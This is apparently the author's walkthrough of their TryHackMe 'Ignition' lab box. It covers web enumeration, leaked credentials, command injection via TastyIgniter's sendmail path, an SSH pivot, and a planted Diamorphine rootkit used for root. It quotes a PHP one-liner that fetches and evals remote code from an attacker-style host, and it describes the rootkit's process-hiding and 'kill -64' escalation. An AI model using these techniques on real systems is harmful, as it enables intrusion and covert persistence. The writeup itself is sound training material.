“You are not alone.”
This is the official walkthrough for Ignition, a box that I created on TryHackMe. It is a medium (I’d say medium-plus) difficulty rated box that involves careful enumeration, careful enumeration, and a little bit of careful enumeration. Plus some individual research and a plot twist or two.
What starts as a seemingly CTF style box evolves into something… much different. If you have not done this machine yet, this is your last warning before I spoil the absolute crap out of it. I get to do that. I made the dang thing.
Important: due to how the web application on this VM constructs its embedded links, you must add
ignition.thm.local to the
/etc/hosts file of your attack host for the pages to render correctly. If you load into the website and it looks wonky AF, that’s why.
Here be spoilers.
A little storytelling brings us in medius res of a cyber operation against the target. The brief stresses that this is very much meant to be a covert operation where you will play the central role of operator. It stresses to be careful, be methodical, get in, and get out undetected. Game on.
Ignition starts with enumeration of the target. Ports 22, 80, 135, 445, and 8080 are open. Enumeration of ports 135 and 445 may reveal some usernames (vito and webadmin) but otherwise offers nothing of value as it does not allow anonymous share access. Enumeration of port 80 identifies a web application that is being served on the host with a Restaurant CMS front end. A deeper scan shows that it is powered by “TastyIgniter.”
Enumeration of port 8080 reveals an nginx proxy with the default landing page. Our immediate targets are ports 80 and 8080.
Directory busting the webserver on port 80 and the nginx proxy on port 8080 reveals interesting subdirectories like
/backup on port 80 and
/auxiliary on port 8080.
/admin directory has a login portal, but there are no default creds available for this app. Brute forcing the password is a potential option, but better ways can be found with careful enumeration.
/backup, a 403 Forbidden message is returned. But by using a web URL fuzzed and specifying the “.bak” extension on this page, it is possible to find
routes.bak which, when downloaded and examined, contains the credentials for the
/admin login portal in a comment. Feroxbuster or ffuf are good options for this.
Alternatively, visiting the
/auxiliary directory on the nginx proxy reveals a simple Python webserver that is hosting the contents of the
/backup directory without rendering any of the web app technology. i.e., it presents a plain and simple list of the files and permits file download.
So approaching the web server on port 80 requires some educated guessing and careful fuzzing, but careful enumeration of port 8080 brings the player right to the required files.
The credentials of “admin:Spring2021” contained in routes.bak do not work on the admin login portal. Iterating this password to “Summer2021” succeeds and allows the player to log into the admin panel.
In the admin panel, there are two potential methods to achieve code execution on the host. Browsing to the Mail setting page (System -> Settings -> Mail) reveals the mail server settings of the application. Dropping the Mail Protocol menu down to the Sendmail option reveals the Sendmail Path parameter, which contains an argument passed to the server to invoke the sendmail utility.
But wait… there is also what appears to be a one-liner calling a PHP Meterpreter shell from a strange URL in the path parameter that has been saved by the application. Almost like someone else has been here before us.
/usr/sbin/sendmail -bs; php -d allow_url_fopen=true -r "eval(file_get_contents('http://fancyladsnacks.info:8080/WMTn3a', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"
Well, no matter. Web apps get broken into all the time, right? We have a job to do.
By removing this PHP one liner and replacing it with our own (PHP or Python can be used here), we can achieve code execution within the Docker container for the web application.
Enumeration of the /root directory in the container reveals a note by one of the web app admins specifying that you can SSH into the container if need be, further specifying that there might be a way to do this with the docker exec command but they are too busy to Google it and find out how. This note contains credentials for the vito user. The SSH command specified in the note would work for SSHing from the web server to the Docker app, but they ostensibly would also work for SSHing from any other host to the web server.
Using these credentials to SSH into the web server lands the player in a session for the vito user. The user.txt document is located on the Desktop of the vito user.
Enumerating the vito user’s Desktop directory shows a note left by another web admin. The note reads that the vito user has been added to the sudoers file so they can use the tcpdump command. This can be correlated by issuing the
sudo -l command, which identifies two commands that vito can run with sudo.
Note: on the THM version of this VM, the interface is eth0, not ens33.
The player may be tempted to view the tcpdump entry on GTFObins at this point, but the criteria for exploitation does not match up. These two tcpdump commands are whitelisted with their parameters and the player cannot issue any other commands via sudo to change the arguments. Thus, GTFObin’ing tcpdump is not an option.
However, if the player actually uses tcpdump to view the traffic on port 80, they may notice…something strange. Traffic to the web server is shown in the output, but there seems to be other traffic as well. Notably, it looks like there is traffic to and from a weird domain name of freetshirts.info. Interesting…
Additionally, the use of the netstat command correlates the strange HTTP traffic to freetshirts.info. Here, we can see a connection sent to an IP address that is listed in the /etc/hosts file as that DNS record.
Something’s not right. You’re not alone.
If the player is using proper covert tradecraft, they may move to the
/dev/shm directory in order to stage tools to use.
/dev/shm is the shared memory directory on the Linux file system. Files in
/dev/shm are not retained on disk if the host reboots. This makes it a popular place for covert activity given all an operator needs is a reboot to vanish. And in
/dev/shm, a directory that is usually empty, there are some incredibly interesting files:
The Root of the Problem
Diamorphine is a Linux Kernel Module rootkit that can be installed by the root user. Diamorphine, as a rootkit, has some incredibly powerful and dangerous features. How this terrible piece of technology functions is a bit beyond the scope of this review, but definitely read the references in the Github repo if you’re interested.
In summary, the rootkit is loaded in as a kernel module, so it attaches itself directly to the lowest possible level of the operating system. It allows for a “magic directory name” to be passed to the kernel, which means that any directory that goes by that name will be invisible to a normal user. It can also hide processes from the process list by issuing them the
kill -31 [PID] command.
All things considered, it’s a scary piece of malware. And it looks like it’s here, on this host.
Privesc Method 1: The Longer Way
By issuing the
ps -ef command at any time after gaining access to the host, the player might find a telling process in the process list:
Well luckily, it looks like the attacker was too busy to hide this process using Diamorphine. It appears that there’s a program running (a Merlin agent?) with arguments in the
/usr/share/diamorphine_secret/ directory. Problem is, this directory does not exist on the host:
But if you try to change directories into it…
This directory looks like a staging area for whomever decided to compromise this host prior to us arriving. The Merlin agent,
variables.yaml file are all interesting. The source code of the
miner.py script looks like a hastily constructed, intentionally confusing client of some kind of server, with some base64 encoded strings. But in the middle of the
miner.py script, one line is telling about what happened when this script was downloaded and launched on the target:
Reading the contents of the variables.yaml file reveals a potential password and username:
And using the
su - command and inputting the newly generated password allows us to escalate to root.
Privesc Method 2: The (very) Short Way
Oh, did I mention that after a Diamorphine root kit is installed, any user can simply issue the
kill -64 [literally any PID] to instantly become root? It’s right there in the documentation, which our attacker so kindly left in
Ain’t that something. Gives new meaning to “rooting” a box.
Root.txt can be viewed in the root directory, along with some background scripts intended to make this box appear a little more interesting. Feel free to take a look at them if you want.
This box is a bit of everything, I think. It starts as your average run-of-the-mill web app CTF machine, but quickly evolves into something much different. It’s the combination of a few ideas for THM rooms I’ve had in the past, but never got around to. And it was fun as hell to put together.
If you enjoyed the THM room and this walkthrough, feel free to let me know your thoughts! DM me, email me (huskyhacks.mk[at]gmail.com), follow me on Twitter (@HuskyHacksMK), all that good stuff. And I appreciate your time and that you did the room and read this review! Thanks for reading and I’ll see you next time. And watch out for rootkits, shit’s crazy fam.